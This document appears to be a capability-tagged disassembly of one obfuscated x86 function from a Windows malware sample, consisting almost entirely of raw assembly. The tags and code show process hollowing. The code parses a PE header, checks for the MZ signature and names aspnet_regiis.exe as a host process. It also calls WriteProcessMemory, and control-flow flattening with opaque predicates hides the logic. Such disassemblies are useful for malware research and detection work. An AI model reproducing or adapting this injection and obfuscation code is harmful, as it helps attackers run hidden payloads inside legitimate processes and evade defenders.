Function at 0x10006aa0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x1006c800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x9eb0624a
sub edx, 1
add edx, 0x9eb0624a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfa], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x100], 0x87d602d6
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x807301cf
je 0x1000ea57
jmp 0x10006b1b
mov eax, dword [ebp - 0x104]
sub eax, 0x84653a8f
je 0x1000b388
jmp 0x10006b31
mov eax, dword [ebp - 0x104]
sub eax, 0x8476da51
je 0x1000a3ba
jmp 0x10006b47
mov eax, dword [ebp - 0x104]
sub eax, 0x84d327ba
je 0x1000c8dc
jmp 0x10006b5d
mov eax, dword [ebp - 0x104]
sub eax, 0x84d5eeff
je 0x1000b346
jmp 0x10006b73
mov eax, dword [ebp - 0x104]
sub eax, 0x8569032f
je 0x1000c8f9
jmp 0x10006b89
mov eax, dword [ebp - 0x104]
sub eax, 0x8597b3c4
je 0x1000db87
jmp 0x10006b9f
mov eax, dword [ebp - 0x104]
sub eax, 0x86986a9e
je 0x1000e56e
jmp 0x10006bb5
mov eax, dword [ebp - 0x104]
sub eax, 0x8712667b
je 0x1000b581
jmp 0x10006bcb
mov eax, dword [ebp - 0x104]
sub eax, 0x87417c05
je 0x1000a3f8
jmp 0x10006be1
mov eax, dword [ebp - 0x104]
sub eax, 0x877a858d
je 0x1000a4bd
jmp 0x10006bf7
mov eax, dword [ebp - 0x104]
sub eax, 0x87d602d6
je 0x10008fe8
jmp 0x10006c0d
mov eax, dword [ebp - 0x104]
sub eax, 0x88526ac8
je 0x1000eebd
jmp 0x10006c23
mov eax, dword [ebp - 0x104]
sub eax, 0x889c51d2
je 0x10009071
jmp 0x10006c39
mov eax, dword [ebp - 0x104]
sub eax, 0x88eb8bad
je 0x1000beb7
jmp 0x10006c4f
mov eax, dword [ebp - 0x104]
sub eax, 0x8987cb84
je 0x1000e850
jmp 0x10006c65
mov eax, dword [ebp - 0x104]
sub eax, 0x8abb08ce
je 0x10009d4f
jmp 0x10006c7b
mov eax, dword [ebp - 0x104]
sub eax, 0x8ae7c450
je 0x1000e509
jmp 0x10006c91
mov eax, dword [ebp - 0x104]
sub eax, 0x8bc97d55
je 0x1000d74b
jmp 0x10006ca7
mov eax, dword [ebp - 0x104]
sub eax, 0x8c1607b5
je 0x1000b074
jmp 0x10006cbd
mov eax, dword [ebp - 0x104]
sub eax, 0x8cdf1687
je 0x1000928b
jmp 0x10006cd3
mov eax, dword [ebp - 0x104]
sub eax, 0x8d52bb62
je 0x1000bf90
jmp 0x10006ce9
mov eax, dword [ebp - 0x104]
sub eax, 0x90ab9e63
je 0x1000ca65
jmp 0x10006cff
mov eax, dword [ebp - 0x104]
sub eax, 0x90e2e29f
je 0x100097d3
jmp 0x10006d15
mov eax, dword [ebp - 0x104]
sub eax, 0x91224ab0
je 0x1000a687
jmp 0x10006d2b
mov eax, dword [ebp - 0x104]
sub eax, 0x920153c6
je 0x1000ea66
jmp 0x10006d41
mov eax, dword [ebp - 0x104]
sub eax, 0x929309b7
je 0x1000ea87
jmp 0x10006d57
mov eax, dword [ebp - 0x104]
sub eax, 0x92fcb907
je 0x1000b0e2
jmp 0x10006d6d
mov eax, dword [ebp - 0x104]
sub eax, 0x952079ae
je 0x1000db6a
jmp 0x10006d83
mov eax, dword [ebp - 0x104]
sub eax, 0x95b650ec
je 0x1000e9b5
jmp 0x10006d99
mov eax, dword [ebp - 0x104]
sub eax, 0x962d0e6e
je 0x1000ac0c
jmp 0x10006daf
mov eax, dword [ebp - 0x104]
sub eax, 0x964e052f
je 0x1000d037
jmp 0x10006dc5
mov eax, dword [ebp - 0x104]
sub eax, 0x96b63c80
je 0x1000be99
jmp 0x10006ddb
mov eax, dword [ebp - 0x104]
sub eax, 0x977420f9
je 0x1000d4b3
jmp 0x10006df1
mov eax, dword [ebp - 0x104]
sub eax, 0x980f68e8
je 0x1000aa2b
jmp 0x10006e07
mov eax, dword [ebp - 0x104]
sub eax, 0x989068e7
je 0x1000baf9
jmp 0x10006e1d
mov eax, dword [ebp - 0x104]
sub eax, 0x9989e8e1
je 0x1000ecbe
jmp 0x10006e33
mov eax, dword [ebp - 0x104]
sub eax, 0x9a0ac08d
je 0x1000a966
jmp 0x10006e49
mov eax, dword [ebp - 0x104]
sub eax, 0x9a3cd2db
je 0x1000e09c
jmp 0x10006e5f
mov eax, dword [ebp - 0x104]
sub eax, 0x9accf459
je 0x1000a2c8
jmp 0x10006e75
mov eax, dword [ebp - 0x104]
sub eax, 0x9b80e618
je 0x1000ce13
jmp 0x10006e8b
mov eax, dword [ebp - 0x104]
sub eax, 0x9ba3bcaa
je 0x10009363
jmp 0x10006ea1
mov eax, dword [ebp - 0x104]
sub eax, 0x9bc78db7
je 0x1000e76c
jmp 0x10006eb7
mov eax, dword [ebp - 0x104]
sub eax, 0x9d2b76f9
je 0x1000a357
jmp 0x10006ecd
mov eax, dword [ebp - 0x104]
sub eax, 0x9d86d269
je 0x1000ec7c
jmp 0x10006ee3
mov eax, dword [ebp - 0x104]
sub eax, 0x9d8b0765
je 0x1000927c
jmp 0x10006ef9
mov eax, dword [ebp - 0x104]
sub eax, 0x9dec1bf9
je 0x1000b3f9
jmp 0x10006f0f
mov eax, dword [ebp - 0x104]
sub eax, 0x9e00dd11
je 0x10009e4c
jmp 0x10006f25
mov eax, dword [ebp - 0x104]
sub eax, 0x9fdf3f5b
je 0x1000ec3d
jmp 0x10006f3b
mov eax, dword [ebp - 0x104]
sub eax, 0x9febdb8a
je 0x1000d00b
jmp 0x10006f51
mov eax, dword [ebp - 0x104]
sub eax, 0x9ff8cb00
je 0x1000a9a4
jmp 0x10006f67
mov eax, dword [ebp - 0x104]
sub eax, 0xa0744d2c
je 0x1000e946
jmp 0x10006f7d
mov eax, dword [ebp - 0x104]
sub eax, 0xa07e4d22
je 0x1000b8b0
jmp 0x10006f93
mov eax, dword [ebp - 0x104]
sub eax, 0xa0ecb2cb
je 0x1000dc69
jmp 0x10006fa9
mov eax, dword [ebp - 0x104]
sub eax, 0xa21b1060
je 0x10009e7f
jmp 0x10006fbf
mov eax, dword [ebp - 0x104]
sub eax, 0xa32f4cfa
je 0x1000cd17
jmp 0x10006fd5
mov eax, dword [ebp - 0x104]
sub eax, 0xa380e6b3
je 0x1000c2f7
jmp 0x10006feb
mov eax, dword [ebp - 0x104]
sub eax, 0xa393ea6f
je 0x1000e1a2
jmp 0x10007001
mov eax, dword [ebp - 0x104]
sub eax, 0xa42ec369
je 0x1000b5fe
jmp 0x10007017
mov eax, dword [ebp - 0x104]
sub eax, 0xa4330ee9
je 0x1000af5d
jmp 0x1000702d
mov eax, dword [ebp - 0x104]
sub eax, 0xa4378db5
je 0x1000e8a1
jmp 0x10007043
mov eax, dword [ebp - 0x104]
sub eax, 0xa51d8922
je 0x100094c7
jmp 0x10007059
mov eax, dword [ebp - 0x104]
sub eax, 0xa56b00aa
je 0x1000b910
jmp 0x1000706f
mov eax, dword [ebp - 0x104]
sub eax, 0xa5c7e687
je 0x1000aa7c
jmp 0x10007085
mov eax, dword [ebp - 0x104]
sub eax, 0xa70b2a3e
je 0x1000b21d
mov al, byte [ebp - 0xfa]
mov cl, byte [ebp - 0xf9]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac368f61
mov ecx, 0x20952d2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0x2491caf8
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0x8cdf1687
jmp 0x1000ef5d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49fc3016
mov ecx, 0xc9d14d3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c398]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c394]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xeae04879
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c388]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xf5ac29ba
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c214]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c210]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34e6392e
mov ecx, 0xce72f73f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c350]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x5482331b
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c34c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c348]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xa21b1060
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xd78db5fb
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c1f4]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0xd750170c
sub edx, 1
sub edx, 0xd750170c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa80f5120
mov ecx, 0x663804e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c324]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x20b8c52a
jmp 0x1000ef5d
mov dl, 1
mov eax, 0xf67848d2
mov ecx, 0xfbdb12c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c314]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xf67848d2
jmp 0x1000ef5d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0x4008b2a6
sub edx, 1
sub edx, 0x4008b2a6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5382c4bc
mov ecx, 0xe1e07af1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xc60a1b41
jmp 0x1000ef5d
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c2e4]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x4c082d29
jmp 0x1000ef5d
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c2e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c2dc]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x5c1c6992
jmp 0x1000ef5d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0xfa6bea9
sub edx, 1
add edx, 0xfa6bea9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf63db0
mov ecx, 0xa5c7e687
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x91cda8bb
sub edx, 1
add edx, 0x91cda8bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdf63db0
mov ecx, 0x2ad2bfc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c2cc]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xf5336e58
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c2b8]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x295f692f
jmp 0x1000ef5d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf99da5d
mov ecx, 0x92fcb907
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dl, 1
mov eax, 0xa70b2a3e
mov ecx, 0xc26df14b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c29c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c298]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x6713d8a
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c294]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xd3848dd4
jmp 0x1000ef5d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf70608e
mov ecx, 0xd0277a7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x807301cf
mov ecx, 0x7367d443
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x920153c6
mov ecx, 0x5db53912
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xaa96da9e
jmp 0x1000ef5d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x97ba5231
sub edx, 1
sub edx, 0x97ba5231
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4893c68f
mov ecx, 0xfebce1ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c1c4]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0xb40c4cd1
sub edx, 1
add edx, 0xb40c4cd1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53512eab
mov ecx, 0x3d53ed1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0x35b159c3
jmp 0x1000ef5d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xe6d42328
sub edx, 1
add edx, 0xe6d42328
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa887869e
mov ecx, 0xf7640209
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0x3aa94b7b
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001c1a8]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xa42a3966
sub edx, 1
add edx, 0xa42a3966
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14b3aa66
mov ecx, 0x962b38e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dl, 1
mov eax, 0xdcc834a4
mov ecx, 0x8569032f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c238]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xcf3597a0
jmp 0x1000ef5d
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c230]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x15daa957
jmp 0x1000ef5d
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c190]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x32451870
sub edx, 1
add edx, 0x32451870
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9989e8e1
mov ecx, 0xdf177083
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0xdfc7c73b
mov ecx, 0x7f341f05
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xbc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x5cce76cf
jmp 0x1000ef5d
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x100], 0xcef9ebd1
jmp 0x1000ef5d
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x59], al
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x51b4e44e
sub edx, 1
sub edx, 0x51b4e44e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea6af2c
mov ecx, 0x7157355
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x15b13b58
sub edx, 1
sub edx, 0x15b13b58
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8c16a5b
mov ecx, 0x4ac0d7c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x100], 0x8597b3c4
jmp 0x1000ef5d
mov edx, dword [ebp - 0x38]
mov eax, 0xf9407fc8
mov ecx, 0xefcd1797
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dl, byte [ebp - 0x2f]
mov eax, 0xb471576c
mov ecx, 0xb21f1dcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xdd1d27e8
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xcef40aa7
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xf88c88b9
jmp 0x1000ef5d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75f67232
mov ecx, 0x92bc424
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001c21c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x7b814958
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001c204]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xbf55870a
jmp 0x1000ef5d
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c1fc]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x3770ee5f
jmp 0x1000ef5d
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c1e8]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x3c108e89
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c1e0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xfa1248c5
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0x8712667b
jmp 0x1000ef5d
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c1d0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x5db53912
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xd0e39ea4
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0x1562b4a8
jmp 0x1000ef5d
mov dword [ebp - 0x100], 0xea09ade
jmp 0x1000ef5d
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c190]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xa32f4cfa
jmp 0x1000ef5d
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xc8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x100], 0xc4f82048
jmp 0x1000ef5d
jmp 0x10006aff